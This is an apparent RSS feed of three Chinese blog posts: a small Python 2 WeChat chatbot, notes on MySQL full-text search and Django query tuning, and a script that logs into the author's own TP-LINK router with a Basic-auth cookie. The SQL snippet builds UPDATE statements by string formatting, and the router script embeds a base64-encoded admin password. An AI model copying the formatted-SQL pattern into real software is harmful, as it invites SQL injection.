28行的微信聊天机器人 https://blog.werner.wiki/28-line-chat-robot/ https://blog.werner.wiki/28-line-chat-robot/#respond Thu, 09 Mar 2017 06:29:24 +0000 http://blog.werner.wiki/?p=93 忽然就想写个微信机器人,查了下资料,发现其实很简单。

两个问题:第一,如何接收和发送微信消息;第二,接到消息后该回复什么。

第一个问题由Python库itchat解决,第二个问题用图灵机器人API解决。

虽然“图灵机器人”提供了微信接口,但我的代码中使用的是web接口,完成后的代码如下,仅仅28行:

    # -*- coding: utf-8 -*-
    import sys
    import json
    import time
    import itchat
    import requests
    reload(sys) 
    sys.setdefaultencoding('utf-8') 
    API_KEY = 'xxxxxxxxxxxxxxxxxxxxxxxxxxx'         #图灵机器人API_KEY,是免费的
    raw_TULINURL = "http://www.tuling123.com/openapi/api?key=%s&info=" % API_KEY
    def result(queryStr):
        r = requests.get(raw_TULINURL+queryStr)
        hjson=json.loads(r.text)
        length=len(hjson.keys())
        content=hjson['text']
        if length==3:
            return content+hjson['url']
        elif length==2:
            return content
    @itchat.msg_register(itchat.content.TEXT)
    def text_reply(msg):
        print msg['FromUserName']+u":"+msg['Text']
        time.sleep(5)
        ret = result(msg['Text'])
        print u"我:"+ret
        return ret
    itchat.auto_login()
    itchat.run()
]]>
https://blog.werner.wiki/28-line-chat-robot/feed/ 0
Django+Mysql性能优化小记 https://blog.werner.wiki/django-mysql-performance-optimization-notes/ https://blog.werner.wiki/django-mysql-performance-optimization-notes/#respond Thu, 03 Nov 2016 06:34:39 +0000 http://blog.werner.wiki/?p=97 最近在对一个Django+Mysql的小网站进行性能优化,发现一些有趣的事,记录于此。

首先是中文全文搜索的问题。比较新的Mysql是可以创建全文索引并且进行全文搜索的,但对汉语的支持不好。英语天然地用空格分割单词,很容易实现全文搜索,但汉语却没有这样的天然优势。一个自然的想法便是若汉语的词与词之间也有空格分割,岂不是就可以直接用Mysql的全文索引和全文搜索了。为此,对需要进行全文搜索的字段,比如title和description,新建两个对应的字段用于存放带空格的中文句子:title_index和description_index。然后遍历整张表,读取title和description字段的值,对其进行汉语分词(比如使用jieba)后用空格分割分词结果,分别写回到title_index和description_index字段中去。可以用类似下面的Python代码去实现这一过程(注意下面的代码只是片段,是不完整的)。

    #使用execute方法执行SQL语句
    cursor.execute('''select id,title,description from tablename''')
    for row in cursor.fetchall():#遍历整张表
        #建立全文索引
        if row[1]:
            title_index = ' '.join(list(jieba.cut(row[1]))).replace("\"", "'")
        else:
            title_index = ''
        if row[2]:
            description_index = ' '.join(list(jieba.cut(row[2]))).replace("\"", "'")
        else:
            description_index = ''
        sql = '''update tablename set `title_index`="{0}",  `description_index`="{1}" \
                 where id={2};'''.format(title_index, description_index, row[0])
        cursor.execute(sql)
     db.commit()

之后建立对title_index和description_index的全文索引,搜索时也在这两个字段上搜索就可以了。但在试验时发现这样做只能搜索到较长的词组,比如“中华人民共和国”,但搜索不到较短的词组,比如“中国”。查阅资料显示,Mysql认为较短的单词(比如a、an这样的)对于全文搜索是有害的,所以会忽略这样的单词。这一长度由ft_min_word_len指定,其默认值是4。为了能较好的支持中文,将其改为2。Ubuntu中需要在配置文件/etc/mysql/my.cnf的[mysqld]段(section)中添加一行:

ft_min_word_len=2

加不对地方是没用的。我刚开始时将ft_min_word_len=2添加在配置文件末尾,再怎么重启Mysql,用SQL语句“SHOW VARIABLES LIKE ‘ft_min_word_len’;”查看其值,依旧是4,后来在其官网找到说明,才知必须添加在特定的段中才有效。改好这一配置并重启后再次尝试,就会发现Mysql可以对“中国”这样两个字的词进行有效的全文搜索了,但Mysql依旧会忽略“的”这样一个字的词,这正是我想要的。至于如何将Mysql全文搜索集成到Django中,其实这个问题不用考虑,较新的Django中集成了这样的API,以下部分复制于Django文档

search¶

Deprecated since version 1.10: See the 1.10 release notes for how to replace it.

A boolean full-text search, taking advantage of full-text indexing. This is like contains but is significantly faster due to full-text indexing.

Example:

    Entry.objects.filter(headline__search="+Django -jazz Python")

SQL equivalent:

    SELECT ... WHERE MATCH(tablename, headline) AGAINST (+Django -jazz Python IN BOOLEAN MODE);

Note this is only available in MySQL and requires direct manipulation of the database to add the full-text index. By default Django uses BOOLEAN MODE for full text searches. See the MySQL documentation for additional details.

解决了全文搜索问题之后便要考虑效率了。我在维护的网站大约有10万数据,每搜索一次都需要几秒时间,即使添加了如上所述的全文搜索。数据很少,为何会这样呢?以为是字符匹配很慢,结果引入全文搜索依旧如此。一直到搞不清楚原因,直到偶然间发现:

mysql> SELECT count(*) FROM tablename WHERE MATCH (title_index,description_index) AGAINST ('中国' IN BOOLEAN MODE);
+----------+
| count(*) |
+----------+
|     8483 |
+----------+
1 row in set (3.68 sec)

mysql> SELECT count(*) FROM tablename WHERE MATCH (title_index) AGAINST ('中国' IN BOOLEAN MODE);
+----------+
| count(*) |
+----------+
|     3401 |
+----------+
1 row in set (0.02 sec)

mysql> SELECT count(*) FROM tablename WHERE MATCH (description_index) AGAINST ('中国' IN BOOLEAN MODE);
+----------+
| count(*) |
+----------+
|     8225 |
+----------+
1 row in set (0.05 sec)

mysql>

差距竟然如此之大!注意到这一巨大的差距,便去修改Django项目的代码,将:

    if only_title:
        conflist = Conf.objects.filter(title_index__search=s)
    else:
        conflist = Conf.objects.filter(Q(description_index__search=s)|Q(title_index__search=s))

修改为:

    conflist = Conf.objects.filter(title_index__search=s)
    if only_title:
        pass
    else:
        conflist = conflist or Conf.objects.filter(description_index__search=s)

新的代码相当于分别从title_index和description_index中查询,再将查到的结果(是两个集合)并(or)起来。改好之后再试试,搜索果然变得很快很快了,由以前的好几秒变成了不到1秒。

补充说明,只有很新的Mysql的InnoDB和MyISAM都支持全文搜索,稍老一些版本的Mysql只有MyISAM支持全文搜索。而如果数据表是InnoDB,就需要转换为MyISAM了。下面展示的是我将InnoDB表转换为MyISAM表过程中做的备忘录:

    # 设置和查看ft_min_word_len
    nano /etc/mysql/my.cnf
    Set the following values, which increase the maximum attachment size and make it possible to search for short words and terms:
        Alter on Line 52: max_allowed_packet=100M
        Add as new line 32, in the [mysqld] section: ft_min_word_len=2
    SHOW VARIABLES LIKE 'ft_min_word_len';

    # mysql innodb 转MyISAM
    create table tt7_tmp like tablename;
    insert into tt7_tmp select * from tablename;
    alter table tt7_tmp engine=MyISAM;
    SET FOREIGN_KEY_CHECKS = 0;
    drop table tablename;
    rename table  tt7_tmp to tablename;

    # 新增字段
    alter table tablename add title_index varchar(2000);
    alter table tablename add description_index longtext;

    # 添加全文索引
    ALTER TABLE tablename ADD FULLTEXT(title_index);
    ALTER TABLE tablename ADD FULLTEXT(description_index);
    Alter table `tablename` add fulltext(`title_index`);
    Alter table `tablename` add fulltext(`description_index`);
    repair table tablename;
]]>
https://blog.werner.wiki/django-mysql-performance-optimization-notes/feed/ 0
自动登录TP-LINK路由器Web控制页面的脚本 https://blog.werner.wiki/automatic-login-router-web-control-page-script/ https://blog.werner.wiki/automatic-login-router-web-control-page-script/#respond Wed, 29 Jun 2016 13:14:50 +0000 http://blog.werner.wiki/?p=122 想要做的事情是写一个脚本自动登录TP-LINK路由器的Web控制页面,原本是一件很简单的事情,但一时没想明白就会觉得模糊不清。

我的路由器型号是TL-WR742N,连接后,在浏览器中输入默认管理页面的地址http://192.168.1.1 ,按下回车,就可以看到如下图所示的登录页面:

在火狐浏览器中按Ctrl+Shift+Q打开流量监控面板,然后输入密码,按下回车,会发现发送的http请求中即无GET参数,又无POST参数,那么,密码藏在哪里了?
调试html,可以看到,确认按钮是这么写的:

&lt;label id=&quot;loginBtn&quot; class=&quot;loginBtn&quot; onclick=&quot;PCSubWin()&quot;&gt;确认&lt;/label&gt;

按下确认按钮后,会执行函数PCSubWin,跟踪这个函数,看到它的内容是:

function PCSubWin()
{
    if(CheckPswLength() == true )
    {
        var password = $(&quot;pcPassword&quot;).value; 
        var auth = &quot;Basic &quot;+Base64Encoding(&quot;admin:&quot;+password);
        document.cookie = &quot;Authorization=&quot;+escape(auth)+&quot;;path=/&quot;;
        location.reload();
    }
}

首先调用检查密码长度的函数CheckPswLength,若返回值为true,即密码长度没有问题,则读取$(“pcPassword”)中的值,按Ctrl+F查找“pcPassword”,得到:

&lt;input class=&quot;text&quot; id=&quot;pcPassword&quot; name=&quot;pcPassword&quot; type=&quot;password&quot; maxlength=&quot;15&quot; oninput=&quot;CheckPswLength()&quot; onpropertychange=&quot;CheckPswLength()&quot; onkeyup=&quot;CheckPswLength()&quot; autocomplete=&quot;on&quot;&gt;

也就是读取输入的密码字符串,之后用函数Base64Encoding对其进行加密,然后将加密后的字符串设置为cookie,以此作为验证条件。

我们在写自动登录脚本时只需要添加这样的cookie就可以了。如果用Python来写自动登录脚本则大概是这样的:

import requests
url = 'http://192.168.1.1/'
cookies = {'Authorization':'Basic YWRtaW46MTlzNDU2Nzg='}
r = requests.get(url, cookies=cookies)
print r.text
]]>
https://blog.werner.wiki/automatic-login-router-web-control-page-script/feed/ 0